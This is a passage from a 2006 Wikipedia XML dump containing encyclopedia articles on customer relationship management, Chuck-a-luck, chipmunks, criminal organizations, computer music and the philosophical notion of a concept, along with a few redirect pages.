* [[Charles Rennie Mackintosh]] was an architect, designer, and watercolourist.
* In [[records management]], '''CRM''' is a [[Certified Records Manager]].

{{TLAdisambig}}

[[de:CRM]]
[[zh:CRM]]</text>
    </revision>
  </page>
  <page>
    <title>Customer relationship management</title>
    <id>6968</id>
    <revision>
      <id>42163296</id>
      <timestamp>2006-03-04T06:04:08Z</timestamp>
      <contributor>
        <ip>80.227.98.69</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">

The generally accepted purpose of '''Customer Relationship Management''' (CRM) is to enable organizations to better manage their customers through the introduction of reliable systems, processes and procedures for interacting with those customers. 

In today's competitive business environment, a successful CRM strategy cannot be implemented by simply installing and integrating a software package designed to support CRM processes. A holistic approach to CRM is vital for an effective and efficient CRM policy. This approach includes training of employees, a modification of business processes based on customers' needs and an adoption of relevant IT-systems (including software and maybe hardware) and/or usage of IT-Services that enable the organization or company to follow its CRM strategy. CRM-Services can even replace the acquisition of additional hardware or CRM software-licences. 

The term CRM is used to describe either the software or the whole business strategy (or lack of one) oriented on customer needs. The main misconception of CRM is that it is only software, instead of whole business strategy.

Major areas of CRM focus on service automated processes, personal information gathering and processing, and self-service. It attempts to integrate and automate the various ''customer serving'' processes within a company. 

== Architecture of CRM ==

There are three parts of application architecture of CRM:
# Operational - automation to the basic business processes (marketing, sales, service)
# Analytical - support to analyze customer behavior, implements [[business intelligence]] alike technology
# Collaborative - ensures the contact with customers (phone, email, fax, web, sms, post, in person)

=== Operational CRM ===

Operational CRM means supporting the so-called &quot;[[front office]]&quot; business processes, which include customer contact (sales, marketing and service). Tasks resulting from these processes are forwarded to employees responsible for them, as well as the information necessary for carrying out the tasks and interfaces to back-end applications are being provided and activities with customers are being documented for further reference.

Operational CRM provides the following benefits:
* Delivers personalized and efficient marketing, sales, and service through multi-channel collaboration
* Enables a 360-degree view of your customer while you are interacting with them
* Sales people and service engineers can access complete history of all customer interaction with your company, regardless of the touch point

According to Gartner Group, the operational part of CRM typically involves three general areas of business:

* '''Sales force automation (SFA)''': SFA automates some of the company's critical [[sales]] and [[sales force management]] functions, for example, lead/account management, contact management, quote management, forecasting, sales administration, keeping track of customer preferences, buying habits, and [[demographics]], as well as sales staff performance. SFA tools are designed to improve field sales productivity. Key infrastructure requirements of SFA are mobile synchronization and integrated product configuration.

* '''Customer service and support (CSS)''': CSS automates some service requests, complaints, product returns, and information requests. Traditional internal help desk and traditional inbound call-center support for customer inquiries are now evolved into the &quot;customer interaction center&quot; (CIC), using multiple channels (Web, phone/fax, face-to-face, kiosk, etc). Key infrastructure requirements of CSS include computer telephony integration (CTI) which provides high volume processing capability, and reliability.

* '''Enterprise marketing automation (EMA)''': EMA provides information about the business environment, including competitors, industry trends, and [[environmental scanning|macroenviromental variables]]. It is the execution side of campaign and lead management. The intent of EMA applications is to improve marketing campaign efficiencies. Functions include demographic analysis, variable segmentation, and predictive modeling occur on the analytical (Business Intelligence) side.

Integrated CRM software is often also known as &quot;[[front office]] solutions.&quot; This is because they deal directly with the customer.

Many [[call center|call centers]] use CRM software to store all of their customer's details. When a customer calls, the system can be used to retrieve and store information relevant to the customer. By serving the customer quickly and efficiently, and also keeping all information on a customer in one place, a company aims to make cost savings, and also encourage new customers.

CRM solutions can also be used to allow customers to perform their own service via a variety of communication channels. For example, you might be able to check your bank balance via your [[WAP]] phone without ever having to talk to a person, saving money for the company, and saving you time.

=== Analytical CRM ===

In analytical CRM, data gathered within operational CRM and/or other sources are analyzed to segment customers or to identify potential to enhance client relationship. Customer analysis typically can lead to targeted campaigns to increase share of customer's wallet. Examples of Campaigns directed towards customers are:
# Acquisition  : Cross-sell, up-sell
# Retention    : Retaining customers who leave due to maturity or attrition.
# Information  : Providing timely and regular information to customers.
# Modification : Altering details of the transactional nature of the customers' relationship.

Analysis typically covers but is not limited to:
# Decision support: Dashboards, reporting, metrics, performance etc.
# Predictive modelling of customer attributes
# Strategy and research.

Analysis of Customer data may relate to one or more of the following analyses:
# Campaign management and analysis 
# Contact channel optimization 
# Contact Optimization 
# Customer Acquisition / Reactivation / Retention 
# Customer Segmentation
# Customer Satisfaction Measurement / Increase 
# Sales Coverage Optimization           
# Fraud Detection and analysis
# Financial Forecasts 
# Pricing Optimization 
# Product Development
# Program Evaluation  
# Risk Assessment and Management  

Data collection and analysis is viewed as a continuing and iterative process. Ideally, business decisions are refined over time, based on feedback from earlier analysis and decisions. Therefore, most successful analytical CRM projects take advantage of a [[data warehouse]] to provide suitable data.

[[Business Intelligence]] is a related discipline offering some more functionality as separate [[application software]].

=== Collaborative CRM ===

Collaborative CRM facilitates interactions with customers through all channels (personal, letter, fax, phone, web, e-mail) and supports co-ordination of employee teams and channels. It is a solution that brings people, processes and data together so companies can better serve and retain their customers. The data/activities can be structured, unstructured,conversational, and/or transactional in nature.

Collaborative CRM provides the following benefits:
* Enables efficient productive customer interactions across all communications channels
* Enables web collaboration to reduce customer service costs
* Integrates call centers enabling multi-channel personal customer interaction 
* Integrates view of the customer while interaction at the transaction level

==Improving customer service==

CRMs are  to improve customer service. Proponents say they can improve customer service by facilitating communication in several ways:

* Provide product information, product use information, and technical assistance on web sites that are accessible 24 hours a day, 7 days a week.
* Help to identify potential problems quickly, before they occur.
* Provide a user-friendly mechanism for registering customer complaints (complaints that are not registered with the company cannot be resolved, and are a major source of customer dissatisfaction).
* Provide a fast mechanism for handling problems and complaints (complaints that are resolved quickly can increase customer satisfaction).
* Provide a fast mechanism for correcting service deficiencies (correct the problem before other customers experience the same dissatisfaction).
* Identify how each individual customer defines quality, and then design a service strategy for each customer based on these individual requirements and expectations.
* Use internet cookies to track customer interests and personalize product offerings accordingly.
* Use the Internet to engage in collaborative customization or real-time customization  
* Provide a fast mechanism for managing and scheduling followup sales calls to assess post-purchase cognitive dissonance, repurchase probabilities, repurchase times, and repurchase frequencies.
* Provide a fast mechanism for managing and scheduling maintenance, repair, and on-going support (improve efficiency and effectiveness).
* Provide a mechanism to track all points of contact between a customer and the company, and do it in an integrated way so that all sources and types of contact are included, and all users of the system see the same view of the customer (reduces confusion).
* The CRM can be integrated into other cross-functional systems and thereby provide accounting and production information to customers when they want it.

==Improving customer relationships==

CRMs are also claimed to be able to improve customer relationships . Proponents say this is so because:

* CRM technology can track customer interests, needs, and buying habits as they progress through their life cycles, and tailor the marketing effort accordingly. This way customers get exactly what they want as they change.
* The technology can track customer product use as the product progresses through its life cycle, and tailor the service strategy accordingly. This way customers get  what they need as the product ages.
* In industrial markets, the technology can be used to micro-segment the buying centre and help coordinate the conflicting and changing purchase criteria of its members.
* When any of the technology-driven improvements in customer service (mentioned above) contribute to long-term customer satisfaction, they can ensure repeat purchases, improve customer relationships, increase customer loyalty, decrease customer turnover, decrease marketing costs (associated with customer acquisition and customer &amp;ldquo;training&amp;rdquo;), increase sales revenue, and thereby increase profit margins.
* Repeat purchase, however, comes from customer satisfaction - which in turn comes from a deeper understanding of each customer, their individual business challenges and proposing solutions for those challenges rather than a &quot;one size fits all&quot; approach.
* CRM software enables sales people to achieve this one on one approach to selling and can automate some elements of it via tailorable marketing communications. However, all of these elements are facilitated by or for humans to achieve - CRM is therefore a company-wide attitude as much as a software solution.

==Technical functionality==

A '''CRM solution is characterised by the following functionality:'''
* scalability - the ability to be used on a large scale, and to be reliably expanded to whatever scale is necessary.
* multiple [[communication channel]]s - the ability to interface with users via many different devices (phone, WAP, internet, etc)
* [[workflow]] - the ability to trigger a process in the backoffice system, e. g. Email Response, ...
* [[assignment]] - the ability to assign requests (Service Requests, Sales Opportunities) to a person or group.
* [[database]] - the centralised storage (in a data warehouse) of all information relevant to customer interaction
* [[customer privacy]] considerations, e.g. [[data encryption]] and the destruction of records to ensure that they are not stolen or abused

== Privacy and ethical concerns==

CRMs are not however considered universally good - some feel it invades [[customer privacy]] and enable coercive sales techniques due to the information companies now have on customers - see [[persuasion technology]].  However, CRM does not necessarily imply gathering new data, it can be used merely to make &quot;better use&quot; of data the corporation already has. But in most cases they are used to collect new data.

Some argue that the most basic privacy concern is the centralised database itself, and that CRMs built this way are inherently privacy-invasive. See the commercial version of the debate over the [[carceral state]], e.g. [[Total Information Awareness]] program of the [[United States federal government]].

==Setting up a framework for CRM==

* When you start setting up your CRM segment for your business you first want to see what profile aspects you feel are relevant to your business. Which information will provide you the keys to serve your customers in the best way possible?  If you can look at your financial history for this information then what would you have liked to know about your customers in the past? What would have been the effects? And what information is not useful? Being able to eliminate unwanted information is a big aspect in implementing your CRM systems
*When designing your CRM's structure, always remember who your primary customers are. You want to keep more extensive information on them because they are your high-margin customers. You can keep less extensive details on the clients you identify as &amp;#8220;low-margin&amp;#8221;.

==CRM in Business==

In this day and age the use of internet sites and specifically e-mail, in particular, are touted as less expensive communication methods, compared to traditional methods like telephone calls. This revolutionary type of service can be very helpful, but it is completely useless if you are having trouble reaching your customers. It has been determined by some major companies that the majority of clients trust other means of communication, like telephone, more than they trust e-mail. Clients, however, are not the ones to blame because it is often the manner of connecting with consumers on a personal level making them feel as though they are cherished as customers. It is up to the companies to focus on reaching every customer and developing a relationship.
  
CRM software can run your entire business. From prospect and client contact tools to billing history and bulk email management. The CRM system allows you to maintain all customer records in one centralized location that is accessible to your entire organization through password administration. Front office systems are set up to collect data from the customers for processing into the [[data warehouse]]. The [[data warehouse]] is a back office system used to fulfill and support customer orders. All customer information is stored in the [[data warehouse]]. Back office CRM makes it possible for a company to follow sales, orders, and cancellations. Special regressions of this data can be very beneficial for the marketing division of a firm/company.

==See also==

* [[List of CRM vendors]]
* [[ITIL]]
* [[Predictive dialer]]   communicate with the customer
* [[marketing]]
* [[telemarketing]]
* [[customer experience management]]
* [[sales force management system]]
* [[information technology management]]
* [[management information systems]]
* [[management]]
* [[Microenvironment]]
* [[Software as a Service]]
* [[On-demand]]
* [[Vendor-independent solutions provider]]
* [[Customer Reference Management]]
* [[Call Center]]
* [[Database marketing]]

==External links==
*{{dmoz|Business/E-Commerce/Customer_Relationship_Management/|Customer Relationship Management}}
*[http://www.crm-a.org/ CRM Association]
*[http://www.oceanworksuk.net/products/affinity_customer_relationship_management_CRM/ Affinity CRM Software]
*[http://www.crmplanet.net/ CRM Related News from around the Planet]

[[Category:Marketing]]
[[category:Information technology management]]
[[Category:Office and administrative support occupations]]
[[category:Electronic commerce]]

[[da:CRM]]
[[de:Kundenbeziehungsmanagement]]
[[es:CRM]]
[[fr:Gestion de la relation client]]
[[it:Customer relationship management]]
[[lt:CRM]]
[[nl:Customer Relationship Management]]
[[no:Kunderelasjonshåndtering]]
[[pl:Zarządzanie relacjami z klientami]]
[[pt:CRM]]
[[ru:CRM]]
[[zh:客户关系管理]]</text>
    </revision>
  </page>
  <page>
    <title>Chuck-a-luck</title>
    <id>6970</id>
    <revision>
      <id>33579732</id>
      <timestamp>2006-01-02T09:15:49Z</timestamp>
      <contributor>
        <username>Gwalla</username>
        <id>38016</id>
      </contributor>
      <minor />
      <comment>fix format</comment>
      <text xml:space="preserve">More of a carnival game than anything else (no gaming commission in the world will allow it), '''Chuck-a-luck''' is a simple [[gambling]] [[game]]. There is a cage containing three [[dice]]. Players have the option of betting on the numbers 1 through 6. Should one of your numbers come up once, you get paid even money. Should one of your numbers come up twice you get paid 2-1. Should your number come up three times, you get paid 3-1.

Even an elementary examination will find that the game's [[expected value]] (barring [[loaded dice]], which are common), is far worse than that of any other table game. The game is sometimes used as a fundraiser for charity, but the odds of coming away with more money than originally put in are quite small.

==External links==
* [http://homepage.ntlworld.com/dice-play/Games/ChuckALuck.htm Chuck-a-Luck page]

[[Category:Dice games]]
[[Category:Gambling]]</text>
    </revision>
  </page>
  <page>
    <title>Chipmunk</title>
    <id>6972</id>
    <revision>
      <id>41896260</id>
      <timestamp>2006-03-02T13:08:40Z</timestamp>
      <contributor>
        <username>Slgrandson</username>
        <id>191875</id>
      </contributor>
      <comment>+ SIMPLE</comment>
      <text xml:space="preserve">:''This article is about the animal. For the military training aircraft, see [[De Havilland Chipmunk]].''
{{Taxobox
| color = pink
| name = Chipmunks
| image = chipmunk.png
| image_width = 200px
| regnum = [[Animal]]ia
| phylum = [[Chordate|Chordata]]
| classis = [[Mammal]]ia
| ordo = [[Rodent]]ia
| familia = [[Sciuridae]]
| genus = '''''Tamias'''''
| genus_authority = [[Johann Karl Wilhelm Illiger|Illiger]], 1811
| subdivision_ranks = Species
| subdivision = 
23 species, see text
}}

'''Chipmunk''' is the common name for any small [[squirrel]]-like [[rodent]] species of the genus ''Tamias'' in the family [[Sciuridae]]. About 23 species fall under this title, with one species in northeastern [[Asia]], one in the eastern portions of Canada and the US, and all the rest native to the western part of [[North America]]. 

The name may have originally been spelled &quot;chitmunk&quot; (perhaps from the [[Ojibwe language|Ojibwe]] word ''ajidamoo'', meaning &quot;red squirrel&quot;). However, the earliest form cited in the Oxford English Dictionary (from 1842) is &quot;chipmonk&quot;. Other early forms include &quot;chipmuck&quot; and &quot;chipminck&quot;. They are also called striped squirrel or ground squirrel; however, the name &quot;ground squirrel&quot; is more usually kept for the genus ''[[Spermophilus]]'', though ''Tamias'' and ''Spermophilus'' are only two of the 13 [[genus|genera]] of ground-living [[Sciuridae|sciurids]]. 

Eastern chipmunks mate in early spring and again in early summer to produce two litters, each of four to five young, but western chipmunks only breed once a year. The young emerge from the burrow after about six weeks and strike out on their own within the next two weeks.

Though they are commonly depicted with their paws up to the mouth, eating peanuts, or more famously their cheeks bulging out on either side, chipmunks eat a much more diverse range of foods than just nuts. Their [[omnivore|omnivorous]] diet consists of grain, nuts, birds' eggs, fungi, and insects. Come autumn, many species of chipmunk begin to stockpile these goods in their burrows, for [[winter]]. Other species make multiple small caches of food. These two kinds of behavior are called [[larder-hoarder|larder hoarding]] and [[scatter-hoarder|scatter hoarding]]. Larder hoarders usually live in their nests until [[spring (season)|spring]].

These small squirrels fulfill several important functions in [[forest]] [[ecosystem]]s. Their activities with regards to harvesting and hoarding tree seeds play a crucial role in [[seedling]] establishment.  They also consume many different kinds of [[fungi]], including those involved in symbiotic mycorrhizal associations with trees, and are an important vector for dispersal of the spores of subterranean [[sporocarps]] (truffles) which have co-evolved with these and other [[mycophagous]] mammals and thus lost the ability to disperse their spores through the air.

Chipmunks play an important role as prey for various predatory mammals and birds, but are also opportunistic predators themselves, particularly with regard to bird eggs and [[nestling]]s.  In [[Oregon]], [[Mountain Bluebird]]s (''Siala currucoides'') have been observed energetically mobbing chipmunks that they see near their nest trees.

Chipmunks construct expansive [[burrow]]s which can be more than 3.5 m in length with several well-concealed entrances.  The sleeping quarters are 
kept extremely clean as shells and feces are stored in refuse tunnels.

If unmolested they often become bold enough to accept food from the hands of humans.  The temptation to pick up or pet any wild animal should
be strictly avoided. While rabies is exceptionally rare, if non-existent, in rodents, chipmunk bites can transmit virulent and dangerous bacterial infections.
==Species==
*[[Alpine Chipmunk]], ''Tamias alpinus''
*[[Yellow pine Chipmunk]], ''Tamias amoenus''
*[[Gray-footed Chipmunk]], ''Tamias canipes'' 
*[[Gray-Collared Chipmunk]], ''Tamias cinereicollis'' 
*[[Cliff Chipmunk]], ''Tamias dorsalis'' 
*[[Merriam's Chipmunk]], ''Tamias merriami'' 
*[[Least Chipmunk]], ''Tamias minimus'' 
*[[California Chipmunk]], ''Tamias obscurus'' 
*[[Yellow-cheeked Chipmunk]], ''Tamias ochrogenys'' 
*[[Palmer's Chipmunk]], ''Tamias palmeri'' 
*[[Panamint Chipmunk]], ''Tamias panamintinus'' 
*[[Long-eared Chipmunk]], ''Tamias quadrimaculatus'' 
*[[Colorado Chipmunk]], ''Tamias quadrivittatus'' 
*[[Red-Tailed Chipmunk]], ''Tamias ruficaudus'' 
*[[Hopi Chipmunk]], ''Tamias rufus'' 
*[[Allen's Chipmunk]], ''Tamias senex'' 
*[[Siberian Chipmunk]], ''Tamias sibiricus'' 
*[[Siskiyou Chipmunk]], ''Tamias siskiyou'' 
*[[Sonoma Chipmunk]], ''Tamias sonomae'' 
*[[Lodgepole Chipmunk]], ''Tamias speciosus'' 
*[[Eastern Chipmunk]], ''Tamias striatus'' 
*[[Townsend's Chipmunk]], ''Tamias townsendii'' 
*[[Uinta Chipmunk]], ''Tamias umbrinus''

==Pop Culture References==

===Alvin and the Chipmunks===
In [[1958]] [[Ross Bagdasarian]] (using the stage name [[David Seville]], named after [[Seville, Spain]]) released &quot;The Chipmunk Song&quot; (&quot;Christmas, Don't Be Late&quot;), a sped-up recording of himself performing three-part harmony. The resulting high-pitched cartoony voices were named &quot;Alvin&quot;, &quot;Simon&quot;, and &quot;Theodore&quot; after executives at the record company which published the record. &quot;The Chipmunk Song&quot; went on to win two [[Grammy Award]]s and a new &quot;group&quot; called &quot;[[Alvin &amp; the Chipmunks|David Seville &amp; the Chipmunks]]&quot; became a popular novelty act.

In [[1961]], the group starred in their own [[animation|animated]] [[television series]], ''The Alvin Show''. The characters substantially regained popularity in the early [[1980s]] under the guidance of Bagdasarian's son [[Ross Bagdasarian, Jr.|Ross Jr.]]. A new series, ''[[Alvin and the Chipmunks]]'', debuted in [[1983]], with a feature film (''The Chipmunk Adventure'', [[1987]]) and several [[direct-to-video]] releases in the [[1990s]] following it. Ross Bagdasarian, Jr. provides the voices of Dave, Alvin, and Simon in the new production; his wife [[Janice Karman]] does the voice of Theodore and the female Chipmunk spin-off group The Chipettes.

===Walt Disney===
In [[The Walt Disney Company|Disney]]'s animated movie ''[[The Emperor's New Groove]]'', character Krunk regularly converses with chipmunks, in their language of squeaks. Walt Disney also created two talking chipmunks, [[Chip and Dale]], during the 1940's.

[[image:leastchipmunk.jpg|thumb|thumb|right|Least Chipmunk, ''Tamias minimus'']]
[[Image:Least Chipmunk1.jpg|thumb|left|Least Chipmunk (''Tamias minimus'')]]
[[Image:Streifenhoernchen.jpg|thumb|left|220px|[[Siberian Chipmunk]] ''tamias sibiricus'']]
[[image:Chipmunkcanada rs 300x.jpg|thumb|center|Chipmunk, Western Canada, Rocky Mountains]]
&lt;br style=&quot;clear:both;&quot;&gt;

==References==

*Nichols, John D. and Earl Nyholm (1995). ''A Concise Dictionary of Minnesota Ojibwe''. Minneapolis: University of Minnesota Press.

==External links==

*[http://www.etymonline.com/index.php?search=chipmunk&amp;searchmode=none Etymology Online: Chipmunk]

[[Category:Squirrels]]

[[chr:ᎩᏳᎦ]]
[[de:Streifenhörnchen]]
[[fr:Tamia]]
[[it:Chipmunk]]
[[lt:Burundukai]]
[[nl:Chipmunks]]
[[ru:Бурундук]]
[[simple:Chipmunk]]
[[fi:Maaoravat]]</text>
    </revision>
  </page>
  <page>
    <title>Criminal organization</title>
    <id>6973</id>
    <revision>
      <id>37046924</id>
      <timestamp>2006-01-28T05:20:38Z</timestamp>
      <contributor>
        <username>Tazmaniacs</username>
        <id>777928</id>
      </contributor>
      <text xml:space="preserve">A '''criminal organization''' is a group run by [[criminal]]s to further their illegal activities. They are usually involved with [[Illegal drug trade|drugs]], [[prostitution]], [[money laundering]] and [[black market]]eering. These activities are also called [[vice]] and [[organized crime]]. Some also engage in acts of political, racist, and religiously motivated violence, and in acts of [[terrorism]] and [[crimes against humanity]]. 

Examples of criminal organizations would include the [[Mafia]] and the [[Yakuza]].  The role of [[prison gang]]s, by definition criminal, on activities on the outside is under-estimated by many.

----

Another use of the term &quot;criminal organization&quot; exists in [[human rights law]] and refers to an organization which has been found guilty of [[crimes against humanity]].  Once an organization has been determined to be a criminal organization, then one must only demonstrate that an individual belonged to that organization to be punished and not that the individual actually individually committed illegal acts.

The concept of the criminal organization came into being during the [[Nuremberg Trials]].  Several [[public sector]] organizations of [[Nazi Germany]] such as the [[Schutzstaffel|SS]] and [[Gestapo]] were judged to be criminal organizations, while other organizations such as the [[German Army High Command]] {{dubious}} were indicted but acquitted of charges.

This conception of criminal organizations was, and continues to be, controversial, and has not been used in human rights law since the trials at Nuremberg.

[[Category:Criminal organizations| ]]
[[Category:Underground economy]]</text>
    </revision>
  </page>
  <page>
    <title>Computer music</title>
    <id>6974</id>
    <revision>
      <id>38624601</id>
      <timestamp>2006-02-07T15:45:38Z</timestamp>
      <contributor>
        <username>Vivenot</username>
        <id>320020</id>
      </contributor>
      <comment>rvv</comment>
      <text xml:space="preserve">'''Computer music''' is [[music]] generated with, or composed with the aid of [[computer]]s.  It also refers to a field of study that examines both the theory and application of new and existing technologies in the areas of [[music]], [[sound design]] and diffusion, [[acoustics]], [[sound synthesis]], [[digital signal processing]], and [[psychoacoustics]].  The field of computer music can trace its roots back to the origin of [[electronic music]], and the very first experiments and innovations with electronic instruments at the turn of the 20th century.

Much of the work on computer music has drawn on the relationship between [[music theory]] and [[mathematics]]. The world's first computer music was generated in Australia by programmer [[Geoff Hill]] on the [[CSIRAC]] computer which was designed and built by [[Trevor Pearcey]] and [[Maston Beard]]. Subsequently, [[Lejaren Hiller]] (e.g., the Illiac Suite) used a computer in the 1950s to compose works that were then played by conventional musicians. Later developments included the work of [[Max Mathews]] at Bell Laboratories, who developed the influential [[MUSIC-N|MUSIC I]] program. [[Vocoder]] technology was also a major development in this early era. More recently, [[MIDI]] technology has allowed personal computers to interact with synthesizers through a standardized interface, which has widened the use of computer technology. 

Throughout the world there are many organizations and institutions dedicated to the area of computer and electronic music study and research, including the [[ICMC]] (International Computer Music Association), [[IRCAM]], [[SEAMUS]] (Society for Electro Acoustic Music in the United States), and a great number of institutions of higher learning around the world.

== Key topics ==
* [[Algorithmic composition]]
* [[Computer music programming languages]]
* [[Computer generated music]]
* [[Chip Tune]]
* [[ChucK]]
* [[CSound]]
* [[Digital audio workstation]]
* [[Digital sampling]]
* [[Digital signal processing]]
* [[Digital synthesizer]]
* [[Electronic music]]
* [[Granular synthesis|Granular Synthesis]]
* [[Fast Fourier Transform]]
* [[Human-computer interaction]]
* [[Interactive music]]
* [[Music cognition]] and Perception
* [[Music information retrieval]]
* [[Max Mathews]]
* [[Max/MSP]]
* [[Music sequencer]]
* [[MIDI]]
* [[Music theory]]
* [[New interfaces for musical expression]]
* [[Physical modeling]]
* [[Psychoacoustics]]
* [[Spectralism]]
* [[Tracker]]

== External links ==
* [http://xltronic.com/ Xltronic (community for electronic musicians)] - messageboard, discography and 24/7 radio
* Synthtopia features [http://www.synthtopia.com/ computer music news], software reviews, and extensive coverage of computer and electronic music. 
* [http://www.computermusic.org/ International Computer Music Association]
* [http://www.sas.upenn.edu/music/ams/musicology_www.html#CEM Links of interest on Computer Music]
* [http://www.computermusic.co.uk/ Computer Music magazine]
*[http://AmbientMusic-Radio.com/ Computer music, streamed 24/7, ambient space music internet radio]
[[Category:Musical techniques]]

[[de:Computermusik]]
[[fr:Musique assistée par ordinateur]]
[[it:Rapporto tra musica e informatica]]
[[nl:Computermuziek]]
[[fi:Tietokonemusiikki]]</text>
    </revision>
  </page>
  <page>
    <title>Catharine of Aragon</title>
    <id>6975</id>
    <revision>
      <id>15905082</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <username>Amillar</username>
        <id>206</id>
      </contributor>
      <comment>redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Catherine of Aragon]]</text>
    </revision>
  </page>
  <page>
    <title>Code for</title>
    <id>6976</id>
    <revision>
      <id>15905083</id>
      <timestamp>2004-11-15T12:05:22Z</timestamp>
      <contributor>
        <username>Lexor</username>
        <id>5364</id>
      </contributor>
      <comment>merged with and #REDIRECTed to [[genetics]]</comment>
      <text xml:space="preserve">#REDIRECT [[genetics]]</text>
    </revision>
  </page>
  <page>
    <title>Congo-Brazzaville</title>
    <id>6977</id>
    <revision>
      <id>15905084</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Republic of the Congo]]
</text>
    </revision>
  </page>
  <page>
    <title>Concept</title>
    <id>6978</id>
    <revision>
      <id>41608509</id>
      <timestamp>2006-02-28T13:59:01Z</timestamp>
      <contributor>
        <username>Lestrade</username>
        <id>447615</id>
      </contributor>
      <minor />
      <comment>Correction</comment>
      <text xml:space="preserve">&lt;!-- This page needs disambiguation, since the word &quot;concept&quot; has at least six more meanings) --&gt;

A '''concept''' is an [[abstraction|abstract]], [[idea]], notion, or [[entity]] that serves to designate a [[category]] or [[class (philosophy)|class]] of entities, [[event]]s, [[phenomena]] or [[relation]]s between them. Concepts are [[abstract]] in that they omit the [[difference]]s of the [[thing]]s in their [[extension (semantics)|extension]], treating them as if they were identical. They are universal in that they apply equally to every thing in their extension. Concepts are also the basic [[element]]s of [[proposition]]s, much the same way a [[word]] is the basic [[semantics|semantic]] element of a [[sentence (linguistics)|sentence]].

Concepts may relate to [[supernatural]], say the concept of [[God]] or may be [[subjective]]: they may refer to [[facts]] of this world, as processed by man's means of cognition or to the personal beliefs. (The foregoing is a brief indication; for a full discussion see [[Introduction to Objectivist Epistemology]].)

Concepts are [[bearer]]s of [[meaning]], as opposed to [[agent (grammar)|agent]]s of meaning. A single concept can be expressed by any number of [[language]]s. The concept of ''dog'' can be expressed as ''Hund'' in [[German language|German]], as ''chien'' in [[French language|French]], and ''perro'' in [[Spanish language|Spanish]]. The fact that concepts are in some sense independent of language makes [[translation]] possible - words in various languages have identical meaning, because they express one and the same concept.

==Locke==
[[John Locke]]'s description of a [[general idea]] corresponds to a description of a concept. According to Locke, a general idea is created by abstracting, drawing away, or removing the common characteristic or characteristics from several particular ideas. This common characteristic is that which is similar to all of the different individuals. For example, the abstract general idea or concept that is designated by the word &quot;red&quot; is that characteristic which is common to apples, cherries, and fire engines. The abstract general idea or concept that is signified by the word &quot;dog&quot; is the collection of those characteristics which are common to Airedales, Collies, and Terriers.

==Kant==
===''[[A posteriori]]'' Concepts===
According to Immanuel [[Kant]], an empirical or ''a posteriori'' concept is a general representation (''Vorstellung'') or general mental picture of that which is common to several specific perceived objects. ([[Logic]], I, 1., §1, Note 1)

A concept is a common feature or characteristic.

===''[[A priori]]'' Concepts===
Kant called a pure or ''a priori'' concept a category. There are 12 categories that constitute the understanding of phenomenal objects. Each category is that which is common to multiple empirical concepts.

==Schopenhauer==
For [[Schopenhauer]], empirical concepts &quot;...are mere abstractions from what is known through intuitive [[perception]], and they have arisen from our arbitrarily thinking away or dropping of some [[qualities]] and our retention of others.&quot; (''[[Parerga and Paralipomena]]'', Vol. I, &quot;Sketch of a History of the [[Ideal]] and the [[Real]]&quot;).

==John Stuart Mill's Conceptions==
[[John Stuart Mill]] stated that general conceptions are formed through abstraction. A general conception is the common element among the many images of members of a class. &quot;...[W]hen we form a set of phenomena into a class, that is, when we compare them with one another to ascertain in what they agree, some general conception is implied in this mental operation&quot; (''[[A System of Logic]]'', Book IV, Ch. II).

Mill did not believe that concepts exist in the mind before the act of abstraction. &quot;It is not a law of our intellect, that, in comparing things with each other and taking note of their agreement, we merely recognize as realised in the outward world something that we already had in our minds. The conception originally found its way to us as the ''result'' of such a comparison. It was obtained (in metaphysical phrase) by ''abstraction'' from individual things&quot; (''Ibid.'').
   

==William James's Truth==
A concept may be abstracted from several perceptions, but that is only its origin. In regard to its meaning or its truth, [[William James]] proposed his [[Pragmatic Rule]]. This rule states that the meaning of a concept may always be found in some particular difference in the course of human experience which its being true will make (''[[Some Problems of Philosophy]]'', &quot;Percept and Concept -- The Import of Concepts&quot;). In order to understand the meaning of the concept and to discuss its importance, a concept may be tested by asking, &quot;What sensible difference to anybody will its truth make?&quot; There is only one criterion of a concept's meaning and only one test of its truth. That criterion or test is its consequences for human behavior.

In this way, James bypassed the controversy between [[Rationalist]]s and [[Empiricist]]s regarding the origin of concepts. Instead of solving their dispute, he ignored it. The Rationalists had asserted that concepts are a revelation of [[Reason]]. Concepts are a glimpse of a different world, one which contains timeless [[truth]]s in areas such as [[logic]], [[mathematics]], [[ethics]], and [[aesthetics]]. By pure thought, humans can discover the relations that really exist among the parts of that divine world. On the other hand, the Empiricists claimed that concepts were merely a distillation or abstraction from perceptions of the world of experience. Therefore, the significance of concepts depends solely on the perceptions that are its references. James's Pragmatic Rule does not connect the meaning of a concept with its origin. Instead, it relates the meaning to a concept's purpose, that is, its function, use, or result.

== Gilles Deleuze's definition of Philosophy ==

According to [[Deleuze]] and [[Guattari]]'s ''What Is Philosophy?'' (1991), philosophy is the activity of creating concepts. This creative activity differs from previous definitions of philosophy as simple [[reasoning]], [[communication]] or [[contemplation]] of [[Universal (metaphysics)|Universals]]. Concepts are specific to philosophy: science has got &quot;[[percept]]s&quot;, and art &quot;[[Affect (philosophy)|affects]]&quot;. A concept is always ''signed'': thus, [[Descartes]]' [[Cogito ergo sum|''Cogito'']] or [[Kant]]'s &quot;[[transcendence (philosophy)#&quot;Transcendence&quot; in Modern Philosophy|transcendental]]&quot;. It is a [[Mathematical singularity|singularity]], not an universal, and connects itself with others concepts, on a &quot;plane of [[immanence]]&quot; traced by a particular philosophy. Concepts can jump from one plane of immanence to another, combining with other concepts and therefore engaging in a &quot;becoming-[[Other]]&quot;.

==[[Ayn Rand]]==

The [[Ayn Rand Institute]] has disseminated the following information on Ayn Rand's understanding of human concept formation.

&quot;According to [[Objectivism]], concepts are derived from and do refer to the facts of [[reality]].

The mind at birth (as [[Aristotle]] first stated) is [[tabula rasa]]; there are no [[innate ideas]]. The [[senses]] are man's primary means of contact with reality; they give him the precondition of all subsequent [[knowledge]], the evidence that something is. What the something is he discovers on the conceptual level of awareness.

Conceptualization is man's method of organizing sensory material. To form a concept, one isolates two or more similar concretes from the rest of one's perceptual field, and integrates them into a single mental unit, symbolized by a [[word]]. A concept subsumes an unlimited number of instances: the concretes one isolated, and all others (past, present, and future) which are similar to them.

